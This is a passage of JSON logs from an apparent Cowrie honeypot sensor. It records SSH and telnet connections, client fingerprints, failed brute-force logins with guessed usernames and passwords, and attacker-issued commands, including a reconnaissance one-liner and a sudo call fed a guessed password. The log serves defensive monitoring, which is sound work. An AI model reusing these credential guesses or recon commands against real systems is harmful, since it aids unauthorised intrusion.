2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E \"model name|Hardware\" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,\"\",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"CAT_HELP:$cat_help\"; echo \"LS_HELP:$ls_help\"; echo \"LAST:$last_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.675289Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.678591Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m 2 > /dev/null","message":"CMD: uname -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.681910Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/uptime 2 > /dev/null | cut -d. -f1","message":"CMD: cat /proc/uptime 2 > /dev/null | cut -d. -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:17.685630Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","size":44,"shasum":"a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853","duplicate":true,"duration":"0.9","message":"Closing TTY Log: var/lib/cowrie/tty/a6ee2c8711434300fa8b915abb90fc277982f7cc01a88f7810cfa1ad8ef14853 after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:18.534147Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.811778Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'Admin@123' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","message":"CMD: echo 'Admin@123' | sudo -S bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0' || bash -c 'm=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.815032Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","message":"CMD: m=0; while read k v r; do [ \"$k\" = MemTotal: ] && { m=$v; break; }; done < /proc/meminfo 2>/dev/null; [ \"$m\" -gt 1048576 ] 2>/dev/null && echo 1 || echo 0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.818225Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"while read k v r","message":"Command not found: while read k v r","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.821269Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"{ m=$v","message":"Command not found: { m=$v","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.824449Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"break ","message":"Command not found: break ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.826783Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"} ","message":"Command not found: } ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:19.828779Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49892,"dst_ip":"159.203.135.109","dst_port":23,"session":"925f4b014740","protocol":"telnet","message":"New connection: 128.199.8.54:49892 (159.203.135.109:23) [session: 925f4b014740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:20.187701Z"}
{"eventid":"cowrie.session.closed","duration":0.003562450408935547,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:20.191144Z","src_ip":"128.199.8.54","session":"925f4b014740","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/6a7bbcbd217d26acae3fb4acc61eeebb89bb063ff2aa9398da162184e8b00a3f","size":124,"shasum":"6a7bbcbd217d26acae3fb4acc61eeebb89bb063ff2aa9398da162184e8b00a3f","duplicate":false,"duration":"0.6","message":"Closing TTY Log: var/lib/cowrie/tty/6a7bbcbd217d26acae3fb4acc61eeebb89bb063ff2aa9398da162184e8b00a3f after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:20.433576Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:20.448503Z","src_ip":"91.92.40.8","session":"b7c937b03ccb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":55890,"dst_ip":"159.203.135.109","dst_port":22,"session":"61bbd19dd22f","protocol":"ssh","message":"New connection: 190.128.201.18:55890 (159.203.135.109:22) [session: 61bbd19dd22f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:35.974663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:35.978831Z","src_ip":"190.128.201.18","session":"61bbd19dd22f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:36.116921Z","src_ip":"190.128.201.18","session":"61bbd19dd22f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"emba","password":"emba123","message":"login attempt [emba/emba123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:36.704947Z","src_ip":"190.128.201.18","session":"61bbd19dd22f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:37.846285Z","src_ip":"190.128.201.18","session":"61bbd19dd22f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":45664,"dst_ip":"10.17.0.5","dst_port":22,"session":"de6c271ba1cb","protocol":"ssh","message":"New connection: 4.213.224.194:45664 (10.17.0.5:22) [session: de6c271ba1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:56.491458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:56.497050Z","src_ip":"4.213.224.194","session":"de6c271ba1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:56.701508Z","src_ip":"4.213.224.194","session":"de6c271ba1cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"max","password":"changeme","message":"login attempt [max/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:57.541711Z","src_ip":"4.213.224.194","session":"de6c271ba1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41268,"dst_ip":"159.203.135.109","dst_port":23,"session":"2faf00255cf8","protocol":"telnet","message":"New connection: 128.199.8.54:41268 (159.203.135.109:23) [session: 2faf00255cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:58.086646Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:43:58.746802Z","src_ip":"4.213.224.194","session":"de6c271ba1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1ab65adc244","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (159.203.135.109:22) [session: f1ab65adc244]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:10.439923Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:10.550029Z","src_ip":"77.90.185.16","session":"f1ab65adc244","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":47840,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fefb9fd171e","protocol":"ssh","message":"New connection: 27.71.230.31:47840 (10.17.0.5:22) [session: 0fefb9fd171e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:34.795267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:34.801983Z","src_ip":"27.71.230.31","session":"0fefb9fd171e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.38.37.110","src_port":43024,"dst_ip":"10.17.0.5","dst_port":22,"session":"18af1f9648e6","protocol":"ssh","message":"New connection: 20.38.37.110:43024 (10.17.0.5:22) [session: 18af1f9648e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:36.674050Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:36.883476Z","src_ip":"27.71.230.31","session":"0fefb9fd171e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39896,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb0907804155","protocol":"ssh","message":"New connection: 103.27.238.116:39896 (159.203.135.109:22) [session: bb0907804155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:37.641570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:37.645690Z","src_ip":"103.27.238.116","session":"bb0907804155","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:37.902836Z","src_ip":"103.27.238.116","session":"bb0907804155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dochenka","message":"login attempt [root/dochenka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:38.672457Z","src_ip":"103.27.238.116","session":"bb0907804155","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:39.929941Z","src_ip":"103.27.238.116","session":"bb0907804155","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ADmin123","message":"login attempt [root/ADmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:41.905074Z","src_ip":"27.71.230.31","session":"0fefb9fd171e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.27287983894348,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:42.359224Z","src_ip":"128.199.8.54","session":"2faf00255cf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"10.1","message":"Connection lost after 10.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:46.743301Z","src_ip":"20.38.37.110","session":"18af1f9648e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.38.37.110","src_port":38026,"dst_ip":"10.17.0.5","dst_port":22,"session":"98f987349892","protocol":"ssh","message":"New connection: 20.38.37.110:38026 (10.17.0.5:22) [session: 98f987349892]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:46.802980Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_134.199.244.163_22","message":"Remote SSH version: MGLNDD_134.199.244.163_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:46.807374Z","src_ip":"20.38.37.110","session":"98f987349892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:46.810234Z","src_ip":"20.38.37.110","session":"98f987349892","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.8","message":"Connection lost after 12.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:47.607468Z","src_ip":"27.71.230.31","session":"0fefb9fd171e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60526,"dst_ip":"10.17.0.5","dst_port":22,"session":"284f6b896bba","protocol":"ssh","message":"New connection: 103.82.132.16:60526 (10.17.0.5:22) [session: 284f6b896bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:56.731225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:56.735142Z","src_ip":"103.82.132.16","session":"284f6b896bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:56.983691Z","src_ip":"103.82.132.16","session":"284f6b896bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240886","message":"login attempt [root/240886] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:57.731832Z","src_ip":"103.82.132.16","session":"284f6b896bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:44:58.984079Z","src_ip":"103.82.132.16","session":"284f6b896bba","protocol":"ssh"}
